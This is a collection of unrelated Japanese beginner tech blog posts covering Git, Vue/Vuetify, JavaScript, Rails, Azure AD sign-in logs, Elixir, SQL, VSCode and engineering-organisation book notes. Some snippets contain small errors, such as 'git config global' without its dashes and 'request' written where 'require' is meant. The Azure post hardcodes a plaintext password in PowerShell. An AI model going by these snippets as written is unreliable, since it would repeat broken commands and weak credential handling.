バージョンが表示されればOK。

```terminal
git version 2.17.1
```
## Git アカウント作成〜リポジトリ作成
Gitアカウントを持っていない場合は下記記事を参考に作成。
https://qiita.com/okumurakengo/items/848f7177765cf25fcde0

「Verify email address」後にリポジトリ作成画面が出るので、
必要ならばここで作成してしまいましょう。
作成はリポジトリ名の入力部分のみ対応すればOKです。
リポジトリを公開したくない場合にはprivateを選択します。

リポジトリが作成されると、「Quick SetUp」が表示されます。
これに従って最初のコミット(ローカルでの更新を登録)をしましょう。

## コミットしてみる
まずconsoleの方で初期設定を行います。

```c++:console
git config global user.name your-username
git config global user.email your-address 
```

その後、README.mdを作成、コミットまで以下コマンドで実行できます。

```c++:console
echo "# readme" >> README.md
git init
git add README.md
git commit -m "first commit"
git remote add origin https://github.com/your-name/your-repository
git push -u origin master
```

ローカルで作成したREADME.mdをコミットすることができました。
ブラウザから確認するとREADME.mdが追加されているのが分かると思います。

以上です。
GitHubリポジトリの移行

# はじめに
* GitHubで管理しているリポジトリを別のorganizationへ移行する時の手順になります。
* rails、capistranoを利用しているリポジトリ

# やること
* GitHubリポジトリの移行
    * Settings → Options → Transfer ownership 実行
* Deploy設定を新Organizationのものに変更する
    * 独自Gem(あれば)のURL変更
    * deploy.rbの修正
* /var/www/hoge/repo/ディレクトリを削除
    * 参考: [capistranoのremo_urlを変えた時はrepoを削除する](http://otukutun.hatenablog.com/entry/2015/07/20/110222)
* デプロイサーバのgitのリポジトリ向き先変更

    ```
    # 変更前の確認
    $ git remote -v
    origin	git@github.com:old_pj/hoge.git (fetch)
    origin	git@github.com:old_pj/hoge.git (push)

    # 接続先変更
    $ git remote set-url origin git@github.com:new_pj/hoge

    # 変更後の確認
    $ git remote -v
    origin	git@github.com:new_pj/hoge (fetch)
    origin	git@github.com:new_pj/hoge (push)
    ```

# 移行後ローカルのgit設定変更
```
# 変更前の確認
$ git remote -v
origin	git@github.com:old_pj/hoge.git (fetch)
origin	git@github.com:old_pj/hoge.git (push)

# 接続先変更
$ git remote set-url origin git@github.com:new_pj/hoge.git

# 変更後の確認
$ git remote -v
origin	git@github.com:new_pj/hoge.git (fetch)
origin	git@github.com:new_pj/hoge.git (push)
```
タイトルバー付きでスクロールできるv-menu

タイトルバー付きのv-menuをスクロールできるようにする時、タイトルバー部分まで一緒にスクロールしてしまって困っていました。
それを、タイトルバーは固定のまま、アイテム部分だけスクロールするように解決できたのでコードサンプルを置いておきます。

# イメージ
こんな感じのものです。
<img width="471" alt="スクリーンショット 2019-08-31 15.05.17.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/120785/8b2cab70-ebaa-db28-2dd3-4afbb38b3686.png">


# 環境
Vuetify 2.0.11

# コードサンプル
### Codepen

<p class="codepen" data-height="500" data-theme-id="0" data-default-tab="html,result" data-user="shozzy" data-slug-hash="ZEzJXpq" style="height: 500px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;" data-pen-title="Scrollable menu card sample">
  <span>See the Pen <a href="https://codepen.io/shozzy/pen/ZEzJXpq/">
  Scrollable menu card sample</a> by shozzy (<a href="https://codepen.io/shozzy">@shozzy</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://static.codepen.io/assets/embed/ei.js"></script>

###コード

Codepenそのままですが、コードをこちらにも貼っておきます。

```vue.js
<div id="app">
  <v-app id="inspire">
    <v-row>
      <v-col cols="12" sm="4" offset-sm="4">
        <v-card>
          <v-card-title class="blue white--text">
            <span class="headline">Menu</span>
          </v-card-title>
          <v-container
            id="scroll-target"
            style="max-height: 200px"
            class="overflow-y-auto"
          >
            <v-row
              v-scroll:#scroll-target="onScroll"
              align="top"
              justify="center"
            >
              <v-list width="100%" style="text-align: center">
                <v-list-item
                  v-for="(item, i) in items"
                  :key="i"
                  @click="message(item.title)"
                >
                  <v-list-item-title>{{ item.title }}</v-list-item-title>
                </v-list-item>
              </v-list>
            </v-row>
          </v-container>
        </v-card>
      </v-col>
    </v-row>
    <v-snackbar timeout="3000" v-model="snackbar">
      {{snackbar_msg}}
    </v-snackbar>
  </v-app>
</div>
```

```vue.js
new Vue({
  el: '#app',
  vuetify: new Vuetify(),
  data() {
    return{
      items: [],
      snackbar: false,
      snackbar_msg: ""
    }
  },
  methods: {
    message(msg){
      this.snackbar_msg = msg
      this.snackbar = true
    },
    createItems(amount){
      for(let i=0; i<amount; ++i){
        let hash = { title: 'Item #'+i } 
        this.items.push( hash )
      }
    }
  },
  mounted() {
    this.createItems(10)    
  }
})

```
JavaScript (addEventListener)について

#addEventListener

例 )

```js
(DOMオブジェクト).addEventListener("イベント名", 関数);
```

取得したDOMオブジェクトに対してイベントが起きた時に関数が実行される
[DOMオブジェクトの取得方法]https://qiita.com/MIRAI12/items/f00f1251dd37e4c90f54
Rails_tutorial 8章で出てきたform_forについて

#Rails_tutorial 8章で出てきたform_forについてまとめた

Rails tutorial 7章や８章で出てきたform_forメソッドが省略されすぎててよくわからなかったので自分の為、はたまたここで躓いている方の参考になればとまとめてみました。

ここではRails tutorial　８章ででてきた

```ruby:sessions/new.html.erb
<%= form_for(:session,login_path)%>
```
について解説してみたいと思います。

このことを説明する前に、じゃあ

```ruby:
<%=form_for(@user)%>
```
は一体なんだったのかを説明したいと思います。


##form_for(@user)とは


```ruby:
<%=form_for (@user)%>
```
この@userにはusers_controllerで

```ruby:users_controller.rb
def new
  @user=User.new
end
```

で生成されたUserモデルのインスタンスが含まれています。

>引用　https://www.pikawaka.com/rails/form_for
>>form_forの引数にはモデルクラスのインスタンスを指定します。
※（）は省略可能です。
モデルクラスのインスタンスとは保存したいテーブルのクラスのインスタンスのことです。

モデルクラスのインスタンスをform_forに指定した場合、
Railsが自動でアクションを振り分けてくれます。

- @userがnewメソッドで生成されたインスタンスの時
 - createアクションに振り分け

- @userがfindメソッドなどで生成されたインスタンスの時
 - updateアクションに振り分け　

便利ですが、省略されるとかえって難しくなる時がありますよね。

つまりは

**form_for(@user)**
の記述により、
@userがnewメソッドで呼び出された場合は、
/users URL ('users#create')へのPOSTであると自動的に振り分けられる。

また、paramsで情報を確認すると

```ruby:
params
=>{'user' => {'name'=>'hoge'}}
```

のようにuserリソースの中にハッシュとしてパラメータが取り出せるようになっています。

userリソースをわざわざ手動で指定しなくても、モデルクラスのインスタンスの場合は自動で振り分けてくれるんですね！

この上で
**form_for(:session,url:login_path)**
についてみていきたいと思います。

##form_for(:session,url:login_path)とは

ひょっとしたらもうわかってしまったかもしれませんが、
**sessionにパラメータを付与したいときに、
sessionにはモデルが存在しません。
なので@userのようなモデルクラスのインスタンスも作れないです。**
こうなったら、自分でリソースとurlを指定しないとRailsは　’？’
ってなりますよね。なのでリソースである:sessionと 送信先を指定しました。

また、ここで決めたリソースの:sessionはなんでもいいです。
というのも、リソース名は結局paramsでパラメータを取得する際の名前に過ぎないからです。

例えば　

```ruby:
<%=form_for(:sessionfuoaaaa,url:login_path)%>
```
としてもparamsの内容を見てみると

```ruby:
params
=>{sessionfuoaaaa:{name:'hoge'}}
```
のようになるだけだからです。
つまり

```ruby:
params[:sessionfuoaaaa][:name]
=>'hoge'
```

となります。

##まとめ

長くなりましたがまとめると以下です。

- form_forに渡す引数はモデルクラスのインスタンスの場合、自動的に振り分けられる。
  - @user=User.newの場合→createアクション
  - @user=User.findの場合→updateアクション 
- sessionにはモデルクラスがないため、手動で振り分ける必要がある。
- 手動で振り分けたときのリソース名はparamsで取得するハッシュのキーになる。

僕のように躓いた方の参考になれたら幸いです。
デスクトップテーマ（.themepackファイル）に含まれている画像を確認する方法

# 環境
- Windows10（Microsoft Windows [Version 10.0.18362.295]）

# .themepack ファイルに含まれている画像の確認方法
**コマンドプロンプトで `expand` コマンドを使う**

```
expand -F:* hoge.themepack fuga
```

- `-F:*` は全てのファイルを展開するためのオプション
- `hoge.themepack` はダウンロードしたデスクトップテーマ
- `fuga` は解凍先
    - 直下でよければ `.` でもよい

コマンド実行完了後に生成された `DesktopBackground` フォルダに画像が格納されている。

# まとめた経緯
- Windows10のロック画面に表示されていた「ニュージーランドのクイル湖の画像」をデスクトップに設定したくて、Microsoftが公開している[デスクトップテーマ](https://support.microsoft.com/ja-jp/help/13768/desktop-themes-featured)を探していた。
- zipかなにかで画像をダウンロードできるのかと思ったら `.themepack` という形式で降ってきた。
- 探し方が悪かったようで、「現在のロック画面 保存場所」でググったらすぐに見つかった。

```
C:\Windows\Web\Screen
```

# 参考
- [拡張子 「.themepack」 - テーマパック （File Extension .themepack）](https://www.ccfa.info/2013/10/themepack-file-extension-themepack.html)
- [圧縮ファイルをwindowsの標準のコマンドで解凍する](https://www.softel.co.jp/blogs/tech/archives/1153)
- [Windows10 のロック画面の背景画像の保存先 (Windows 10 Tips)](https://www.ipentec.com/document/windows-10-lock-screen-image-location-path)
Identity Protection で検知したリスクイベントが Azure AD のサインインログに記録されない (場合がある)

Azure には <b>Identity Protection (IdP)</b> と呼ばれるリスクのあるサインインなどリスクイベントを検知する機能があります。

たとえば、アクセス元の IP アドレスを判定して、さっきまで日本の IP アドレスからアクセスしていたユーザーが、突然海外の IP アドレスから Azure にサインインした場合、<b>[特殊な場所へのあり得ない移動]</b> という形で不可能な移動が行われたため、リスク イベントとして検知することがあります。

このときに、リスク イベントとして検知した時刻・ユーザーで Azure のサインイン ログを確認しようとすると、ログが一切出力されていないということがあります。

今回はこのようなケースでログが出力されない理由について考察します。


サインイン ログが出力されない理由は対話型のサインインではないから
結論としては、サインイン ログや監査ログに記録がなくとも、リスク イベントとして記録される場合があります。
 
サインイン ログにログが出力される条件として [対話型のサインイン] である必要があります。
リスク イベントとして検知されたサインインが、対話型のサインインではなかった場合、サインイン ログには出力されません。
 
<b>サインイン レポート</b>
https://docs.microsoft.com/ja-jp/azure/active-directory/reports-monitoring/concept-sign-ins#sign-ins-report 
>サインイン レポートには、対話型のサインイン、つまりユーザーがユーザー名とパスワードを使用して手動で行うサインインのみが表示されます。 サービス間の認証のような対話型ではないサインインは、サインイン レポートに表示されません。

<b>対話型のサインインとは？</b>
[対話型のサインイン] とは、たとえば Azure や その他 Office 365 サービスなどにブラウザ ベースでアクセスする際に、ユーザー ID と パスワードを入力する認証画面が明示的に表示されるような場合が該当します。
 
一方、クライアント端末のデスクトップ アプリやモバイル アプリからアクセスする場合には、基本的には明示的にユーザー ID / パスワードを入力することなく、バックグラウンドで取得したトークン (アクセス トークン/更新トークン) を用いてアクセスするため、[対話型] のサインインとは識別されずに、サインイン ログに記録が残りません。
 
リスク イベントの検知トリガーとしては、対話型サインインとなるユーザー ID / パスワードの入力によるサインインだけでなく、上記のアクセス トークン/更新トークンを再取得したタイミングも含まれるため、サインイン ログに出力がなく、リスク イベントのみ検知する可能性があります。
 
アクセス トークン/更新トークンの仕組みについては、ここではご説明しませんが、アクセス トークン/更新トークンは、基本的に 1 時間おきにバックグラウンドで再取得処理が行われるため、この度にリスク イベントが検知される可能性も考えられます。

他にも Powershell から Azure AD にアクセスをする場合、Connect-AzureAD コマンドや、Connect-MSOLService を実行するときには認証ポップアップが立ち上がるため、これも対話型のサインインに含まれます。

一方、以下のように ID / パスワードをコマンドに埋め込んでアクセスする場合は、認証ポップアップが立ち上がらず、非対話型のサインインとなるため、Azure AD のサインイン ログには出力されないこととなります。

```
$User = "admin@test.onmicrosoft.com"
$Password = ConvertTo-SecureString -String "Password" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User, $Password
Connect-Azuread -tenantid 72a777b4-bf9f-42d2-b9d2-XXXXXXXX5 -AccountId e2dba671-fbc6-470b-9292-1XXXXXXX1 -Credential $Credential
Connect-MSOLService -Credential $Credential
```
JavaScript(DOM)について

#DOMとは(Document Object Model)
HTMLの１つ１つの要素をJavaScriptのオブジェクトとして扱える仕組み

####id名で取得したい時
idとマッチするデータを取得する

例）

```js
document.getElementById("id名");
```

####class名で取得したい時
クラスとマッチするデータを取得する
例）

```js
document.getElementsByClassName("クラス名");
```
注意）getElentsと複数形になっている。
なぜか、id名はhtml上に必ず１つしか存在しないがクラス名は同じクラス名の要素を全て取得することが可能なため。

####セレクタ名で取得したい時
```js
document.querySelector("セレクタ名");
```
JavaScript | ぼくが関数宣言ではなく関数式を使いたい理由

## Let's get right down to the point 🤓 

**関数宣言だと[Hoisting (巻き上げ、ホイスティング)](https://developer.mozilla.org/ja/docs/Glossary/Hoisting) があるから**


## [関数宣言](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Statements/function) とは
おなじみのこういうやつ  

```js
function add(num1, num2){
  return num1 + num2;
}

let sum = add(2, 4);

console.log(sum); // 実行結果 => 6
```

## [関数式](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Operators/function) とは
無名関数を変数にぶっこんで定義すること

```js

// 無名関数っていうのはこういうやつ
// 上記のadd関数の内容全く同じで名前を定義しないバージョン

function(num1, num2){
 return num1 + num2;
};

// これを変数にいれる

let addYo = function(num1, num2){
 return num1 + num2
};

let sum = addYo(2, 4); // 使い方も関数宣言の場合と同じ

console.log(sum); // 実行結果 => 6

// 実行結果も関数宣言で定義したadd関数と同じとなることを確認
```


## ホイスティングとは？ / 関数式を使いたい理由
[JavaScript Hoisting](https://www.w3schools.com/js/js_hoisting.asp)

> Hoisting is JavaScript's default behavior of moving declarations to the top.

**デフォで宣言を一番上に持って来ちゃうJavaScriptの挙動のこと**

そして、関数宣言の場合は関数を宣言する前に呼び出しを行なっても動作してしまう
それってなんだか混乱しない？ ということ

＊ ホイスティングが効いちゃう例 (関数宣言)

```js
// add関数を宣言する前に呼び出してみる
let sum = add(2, 4);
console.log(sum); // 実行結果 => 6

function add(num1, num2){
  return num1 + num2;
}
```

＊ 関数式の場合

```js
let sum = addYo(2, 4);
console.log(sum); // 実行結果 => エラー

let addYo = function(num1, num2){
 return num1 + num2
};
```
 

**このことから、混乱を避けるために関数式を使うほうがよさげじゃない？** ということ

## なぜ関数式だとホイスティングが効かないのか
**だって関数式って変数じゃん**
関数が中にぶっこまれただけであくまでも変数だから  


## 一緒に参考にしたい記事
[関数宣言 vs 関数式 | ES2015+](https://qiita.com/raccy/items/aac3b8e3981564bbd1fa)
Enum.minの挙動について

[関数型でデータサイエンス#2](https://qiita.com/piacerex/items/64c2127857599137e8a7)で躓いた箇所は解決することができました。が、また新たな問題に気づきました。

### 今回の問題
ApplicantIncome列を正規化し、表示することができました。（一番左の列です。）
<img width="504" alt="ApplicantIncome.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/385793/da97df03-4dd8-4e91-2098-4c1b54db020d.png">

無事に正規化された値が表示された！　と思いましたが、よく見ると、

<img width="113" alt="error.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/385793/14dc2ffd-8f6d-975d-7e94-963832f269cd.png">


正規化で最小値を「1」にしているはずが、「0.15」が表示されています。

### 原因調査
最小値の値を表示してみます。

```
min = result |> Enum.map( &( &1[ "ApplicantIncome" ] ) ) |> Enum.min |> String.to_integer
```
```
<p>min = <%= min %></p>
```

<img width="447" alt="min.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/385793/193ced10-b242-c8c1-077e-ae5fd77565c3.png">

「15」が最小値のはずが、「100」が表示されています。

---
### 結論
結論から言うと、解決できませんでした。

考えられる原因は次の３つかなと思っています。
CSVデータの文字コード当たりも調べてみたり、いくつか数値を変えてみたりしましたが、正しい最小値が取得できませんでした。

1. Enum.minの挙動がおかしい
1. CSVデータが不正
1. CSVライブラリのバグ

---
環境
OS     : Windows 10 Home
Elixir : 1.9.0
CSV    : 2.1
IntelliJ IDEA の JS の Live Template のカスタマイズ

概要
=====

IntelliJ IDEA には便利な Live Template 機能がある。
カスタマイズ内容をメモしておく。

`request()`
============

```:タブ押す前
req
```
```js:タブ押した後
const = request('[カーソル]');
```
```js:中身を書くと左辺も勝手に補完される
const aaa = request('../lib/aaa');
```

実装内容
-------

##### Template text

```js
const $ITEM$ = require('$MODULE$');
$END$
```

##### Variables

|Name|Expression|Default value|
|----|----------|-------------|
|MODULE||||
|ITEM||regularExpression(MODULE,"^.*/","")|
Alibaba Cloudの中国サポートに電話してみた

日本から中国のAlibaba Cloudサポートに電話した時の記録です。

# 経緯
中国で開催されるApsara ConferenceというAlibaba Cloudのカンファレンスに申し込みました。
ただ、後でコネでチケットをもらえることになり、自分で購入したチケットはキャンセルする必要が発生しました。

# 95187に電話しろ？
キャンセルの方法なんですが、電話しかありませんでした。
メールとかチャットとかそういう連絡方法はありません。
下記はチケット購入サイトの説明書きですが、95187に電話しろと書いてあるだけです。
<img width="747" alt="apsara.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131345/8aadae55-392b-d805-2217-43c9d7a4065f.png">

カンファレンスの説明にもチケットのキャンセル方法は公式サポートに電話しろと書いてあるだけ。
https://yunqi.aliyun.com/2019/hangzhou/guide
>大会门票是否可以退票
>
可以退票，门票仅支持购票人退票，退票截止时间为2019年8月31日24时，需以整个订单为单位操作退票（订单为两张及以上的，不接受单张票的退票）。
退票流程：
云栖大会官网购票：购票用户请联系阿里官网客服；
阿里云天猫官方旗舰店：购票用户请联系阿里云天猫官方旗舰店客服。

「中国語で国際電話かあ、つらいなあ」と思い、なんとか回避できないか調べました。
Alibaba Cloudのサポートページらしきのを発見しましたが、やはり95187に電話するしか無いようです。

<img width="784" alt="联系我们.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131345/abbe9a72-1363-0efc-8295-bd6116186955.png">

https://cn.aliyun.com/contact
https://cn.aliyun.com/support/95187new

# 海外から95187に電話しても繋がらない
国際通話になるので、中国の国際番号+81をつけて+8195187に電話しました。
しかし、つながりません。

# 海外からは少し別の番号で繋がる
海外からは下記のいずれかでつながると書いてありました。
https://developer.aliyun.com/ask/104229
+8657195187
+8655695187

実際にかけてみたら、確かに繋がりました。
![tel.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131345/436e3e54-76be-cd84-0cbe-fd2b8acd4053.jpeg)

繋がると、中国語でアナウンスが流れます。
あまり聞き取れなかったですが、〜の方は1を、〜の方は2を押してください的なアナウンスと思われます。
今回は95187-1と知っていたので、1を押しました。

# 頑張って中国語で伝える
チケット買ったけど、払い戻しをしたいことを伝えると、なかなか聞き取りが難しいのですが、2 5 8と言っていました。
担当が違うので、別の担当に話せと言っているようでした。
最初の会話が終わるとまた聞き取りが難しいアナウンスが流れましたが、試しに2 5 8の順に押したら、また別の人に繋がりました。

そこでまた払い戻したいことを伝えました。
すると、購入時のチケットの種類、電話番号、编号（購入番号？）、名前、パスポート番号を聞かれたので、回答。
払い戻しをしたので確認してくれと言われ、支付宝を見ると確かに払い戻しされてました。

めでたしめでたし。

# 追加情報
チャットでもサポートに連絡でき、キャンセルができたという人もいました。
上記にも同じリンクを貼ってますが、https://cn.aliyun.com/contact の**智能在线**というところから、サポートチャットに入れます。
そこでGoogle翻訳を駆使して中国語で問い合わせたら、わりとあっさりと対応してもらえたそうです。

なんでもやってみるもんですね。
JavaScript で画像切り替え機能の実装に成功！

未来電子テクノロジーでインターンをしている mrm1027 です。

【プログラミング初心者であるため、内容に誤りがあるかもしれません。
　もし誤りがある場合は、すぐさま修正しますのでどんどん指摘してください。】

<div class="heading">
  <h1>はじめに</h1>
</div>

プログラミングを始めて、実はまる2ヶ月が経ちました。
自由課題は終盤に差し迫ってきています。
先輩プログラマーさんからの手助けを借りつつ、着々と進めていて楽しいです！

そして、今回は私が名前を思い出してもどんなものだったか思い出せない「メディアクエリ」について、
自分の復習がてらここにまとめていきます。


<div class="container">
  <h2> メディアクエリ（Media Queries）とは</h2>
</div>

メディアクエリと聞いてピンとくる方はなかなか勉強されている証拠ですね。
ズバリ、メディアクエリとは、ブラウザの画面サイズに応じてCSSのスタイルを設定できる手法です。

<img width="680" alt="スクリーンショット 2019-08-31 14.06.31.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/447345/bf787b65-cbc2-592e-2e05-5c6d119ad663.png">

こんな感じで、画面の大きさによってズレやバグが生じないようにできるのがメディアクエリです。
つまり、画面サイズごとに表示されるデザインを整えられるのです。

また、メディアクエリの条件として、
　　　　max-width(最大幅)
または
　　　　min-width(最小幅)　　を指定できます。

具体的に「max-width: 30px」を指定すると、画面幅が30pxより小さい時にCSSを適用できます。
逆に、min-widthはその反対です。
画面幅が30pxより大きい時にCSSを適用できます。


<div class="container">
  <h2>まとめ</h2>
</div>

画像切り替えの実装もできたことで、ついに自由課題が完結しそうです！
結構こだわりたい人ではあるので、細かいところを修正しだしたら次の課題に進めないので、
今回はあと少しデザインをいじったら提出したいと思います。
もっとコードを書くのが早くなれたら、その分でできる時間でデザイン性にもこだわりたい。。
これからもどんどん学習を進めていきます！
サブクエリについておさらい


最近、サブクエリを書く場面がありました。SQLをスラスラ使いこなすまでにまだまだ道のりは長そうですが、今回はサブクエリについてまとめました。

SELECT文で値を取得する時、テーブルを加工した上(GROUP BY等)で取得したい場合があるでしょう。

そういったケースでかつ、VIEWとして使い回す必要が無いのであれば、サブクエリを使います。

##サブクエリとは？
 - サブクエリは情報を取得する為に、一時的なテーブル(使い捨てのVIEW)を生成する。
 - 実行終了後に生成された一時的なテーブルは破棄される
 

##構文
サブクエリは入れ子構造になっています。

一時テーブルを生成するSELECT文は`()`で囲み`AS`でサブクエリ名を付けます。

まず、FROM句の中に書いたSELECT文が実行され、その後に、生成されたサブクエリを元に外側のSELECT文が実行されます。

※入れ子の階層はどこまでも深くする事は原則的には可能ですが、深くなればなるほど、読みづらく、パフォーマンスにも影響を与えます。

```sql:サブクエリの構文
SELECT "カラム名"
FROM 
   (
     SELECT "サブカラム名"
     FROM "サブテーブル名"
   ) AS "サブクエリ名"
```

##実際に書いてみる

サブクエリを使って、以下のようなレコードのコレクションからジャンル毎の所持レコードの枚数を集計してみましょう。
<img width="724" alt="スクリーンショット 2019-08-31 13.49.40.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/33632/1ea301f1-a13f-9c80-b5eb-8d5e6dd0ff13.png">

```sql:ジャンル毎の枚数を集計するSQL
SELECT genre, cnt_genre
FROM (SELECT genre, COUNT(*) AS cnt_genre
        FROM Music
        GROUP BY genre
     ) AS GenreSum
```

① `()`の中で、GROUP BYでジャンル毎の枚数をCOUNT関数で取得して`AS`でGenreSumというサブクエリ名を付けています。

②`()`内で生成された一時的なテーブルを使って外側のSELECT文が実行されます。

##実行した結果
ちゃんとジャンル毎の枚数が取れていますね。
<img width="420" alt="スクリーンショット 2019-08-31 13.31.28.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/33632/efd39488-5878-4761-cafd-6ba67de04672.png">

上記のようなケースでは、サブクエリを書かなくも値の取得は可能ですが、例として単純化してまとめてみました。

サブクエリを使えば、複雑な処理を行うSQLを書く事が出来ます。パズルのようで、落ち着いて組み立てる必要がありますが、サブクエリ一つ一つを部品として考えれば、組み立てる事が出来るようになると思います。
VSCodeのショートカットに端末で実行するコマンドを設定する。

## 環境
Windows10
VSCode 1.37.1

## 目的
VSCodeの拡張機能Code Runnerは簡単に導入できて便利です、しかしもう少し出来ることを増やすために色々と調べてみました。

## 方法
keybindings.jsonに設定を書いていきます。
keybindings.jsonを開く方法はコマンドパレット（ctrl+shift+p）を開き'key'と入力し「基本設定：キーボードショートカットを開く（JSON）」を選びます。

workbench.action.terminal.sendSequenceコマンドを使用して、エスケープシーケンスを含む特定のテキストシーケンスを端末に送信できます。
## keybindings.jsonにショートカットを設定する。

keybindings.jsonに追記していきます。
例

```keybindings.jsonに追記
{
  "key": "ctrl+1",
  "command": "workbench.action.terminal.sendSequence",
  "args": {
    "text": "ls \n"
  }
},
```

 "text":にエスケープシーケンス`\n`を追加することで命令を実行するようになります。

`"text":`は変数が使えます。

例

```keybindings.jsonに追記
{
  "key": "ctrl+2",
  "command": "workbench.action.terminal.sendSequence",
  "args": {
    "text": "${cwd}"
  }
},
```

※変数一覧
Visual Studio Code Variables Reference
https://code.visualstudio.com/docs/editor/variables-reference

## 参考
Integrated Terminal in Visual Studio Code
https://code.visualstudio.com/docs/editor/integrated-terminal#_send-text-from-a-keybinding

Visual Studio Code Variables Reference
https://code.visualstudio.com/docs/editor/variables-reference
エンジニアリング組織論を読んだ。(Ch.1)

エンジニアリング組織論を読んだので、まとめてここに書こうと思います。
1冊をここにすべて載せれればいいんですけど、そんなスキルはまだないので
5章構成でいきます。

エンジニアリング = 「実現の科学」
誰かの曖昧な要求からスタートし、具体的で明確ななにかを作り上げていく過程のこと。
= 不確実性を効率よく削減していくこと。

不確実性は、「未来」と「他人」からやってくる。
環境不確実性（未来からやってくる不確実性）は、実際に行動し、実験・観察することで
不確実性を減らすことができる。

通信不確実性（他人からやってくる不確実性）は、コミュニケーションを通して不確実性を
減らすことができる。

この不確実性を減らすには、情報を生み出していくことに繋がる。
情報を生み出す考え方として、3つの考え方がある。

論理的思考の盲点
論理的思考 = 前提であるルールと事象から、結論を導き出す思考。
前提として、

ルールと事象（考えのもとになる事実）を正しく認知できること
正しく演繹できること
の2つが存在し、どちらも満たしていないと正しくない結論を導きだすことができない。

正しく論理的に思考するためには、2つのことが求められる。

事実を正しく認知できること・感情にとらわれず判断できること.
ただし、人間は完全に正しく認知することはできず事実を多少変化して認知してしてしまう。
原因としては、ベーコンのいう4つのイドラやアーロン・ベックの指摘する認知のゆがみによって生まれてくる。

感情にとらわれず判断できること ある前提にたったとき、人はすぐに結論づけてしまうがこの結論は感情による短略でしかない。
できる限り正しく認知するには、自分の認知がどうゆがむのかを知っておく必要がある。
　

経験主義と仮説思考
そもそも、人間には「いくら理屈で考えても答えが出ない問題」に時間を浪費してしまう性質がある。

経験主義 = わからないことは調べるしかない。（行動を行うことでしか、「知識」は得られない）
行動することで、不確実性をひとつずつつぶすことで不確実なものを確実なものにしていくことが
できる。
そのため、「行動できることはなにか」・「行動の結果、観察できることはなにか」の2点が重視される。
他人の行動は「観察」でき、自分の行動は「コントロール」できるもの

理性主義 = 新しい知識は、前提から演繹的に得ることができるという考え。

なにか問題にでくわした場合は、「観察できること」・「コントロールできること」
を操作し、その結果を知識にしていく。
結果として、不確実性を下げることになる？

仮説思考 = 「わずかな痕跡」からそれを説明可能とする大胆な思考展開・モデル化を行い、それを検証するための行動につなげる思考
つまり、仮説は、今あるデータから論理立てて導かれるものでも、帰納的に導かれるものでもなく、人間的な直感やひらめきによってみちびかれるものであって、天下り的な結論や合議によって導かれるものは仮説になりえない。（ここで導き出されるのは演繹にあたる？）

システム思考
人間は、「問題を個人の責任にしたり全体像を見失って局所的判断をしてしまう」性質があるので、
課題は全体像ではないのではないか、問題は要素にあるのではなく関係性にあるのではないか、という考えをする必要がある。

システム = 秩序だった複数要素の組み合わせ。
システム思考 = 全体の関係性を捉えることで、要素の総和は全体の性質とは限らないと考えること。

対になるのは、要素還元的思考で全体を構成する要素に着目して考え、要素の総和が
全体の性質と考えること。

思考	要素還元主義	システム
構造	ツリー構造	ネットワーク構造
関係性	線形な関係性	非線形的な関係性
全体の捉え方	要素の総和 = 全体の性質	要素の総和が全体の性質とは限らない
線形 = 要素間で計算ができること？
システム思考 = 要素の性質にこだわるのではなく要素同士の関係に着目して考えること
重要なのは、「フォードバックサイクル」という考え方。
ある原因に対する結果が、その原因自体に変化をもたらすという考え
1. 拡張のフィードバック
　原因：サッカーが好きなので、練習する
　結果：上達して褒められる。
　拡張のフィードバック：サッカーがもっと好きになる。
2. 抑制のフィードバック
　原因：勉強しないので、無理やり勉強をさせられる。
　結果：あまり成績が伸びない
　抑制のフィードバック：より勉強をやらなくなる。

まとめ
エンジニアリング = 「なにか」を実現すること。そのために、不確実性の高い状態から不確実性の低い状態へと効率よく移していく作業のことも含む。

不確実性の低い状態 = 必要な情報がそろっている状態 = 情報を生み出すこと。

エンジニアリングをする作業は、個人でなく複数人で行うことが多々ある（というか9割型それ）なので、さまざま部分で問題が発生する。

その要因は、環境不確実性・通信不確実性の2つにわけることができる。
環境不確実性は、未来からやってくる内容でそのときが来ないとわからないので頭でどれだけ考えても答えはでない内容。

こうした問題を解消するためには、経験主義や仮説思考のように行動と観察のサイクルを繰り返すことが解消につながる。

一方で、通信不確実性によって情報の非対称性や限定合理性といった問題が発生する。
情報の非対称性 = 同じ目的をもった集団で、なにかの情報を片方の人が知っていてもう片方が知らないという状態。自分の考えを正確に伝えているつもりでも他人には完全に伝わっているわけではないことから起こる。
限定合理性 = システム全体での合理性ではなく自分の立場や役割の範囲内で合理的な行動を取ること。

こうした問題を解消するには「コミュニケーション能力」が求められる。
コミュニケーション能力 = 通信の不確実性を減少させ集団内での情報の非対称性や限定合理性を極力縮小させていく能力のこと。

https://qiita.com/hirokidaichi/items/195d42ee056ea85a3150
エンジニアリング組織論を読んだ。(Ch.2-1)

エンジニアリング組織論を読んだので、まとめてここに書こうと思います。
1冊をここにすべて載せれればいいんですけど、そんなスキルはまだないので
6章構成でいきます。(Ch.2)
この章で心理的安全性にも言及しているが、その部分は別記事

メンタリングとは、対話を通してメンタリングする人の思考力を一時的に貸し出し、思考の幅を広げていくことで、その人の歪んだ認知を補正し次の行動を促し成長させていく手法のこと。(not 知識のあるひとが上から知識を通して考えを押しつけること)

言い換えると、メンタリングは「自ら考える人材を作る」テクニックといえる。

部下は「自ら考えることができない」と考える上司はマイクロマネジメント化がすすんでしまい
結果として、自律的に考えることのできない組織を生み出してしまう。

一方で、放任主義的に部下のやりたいようにやらせ、結果に対する責任を負わないことも問題になる。

|人材タイプ|特徴|
|----|---|
|依存型人材|問題を与えられてから考える|
|依存型人材|問題と解決策を渡されてから動ける|
|自立型人材|自ら問題を発見し、解決することができる|
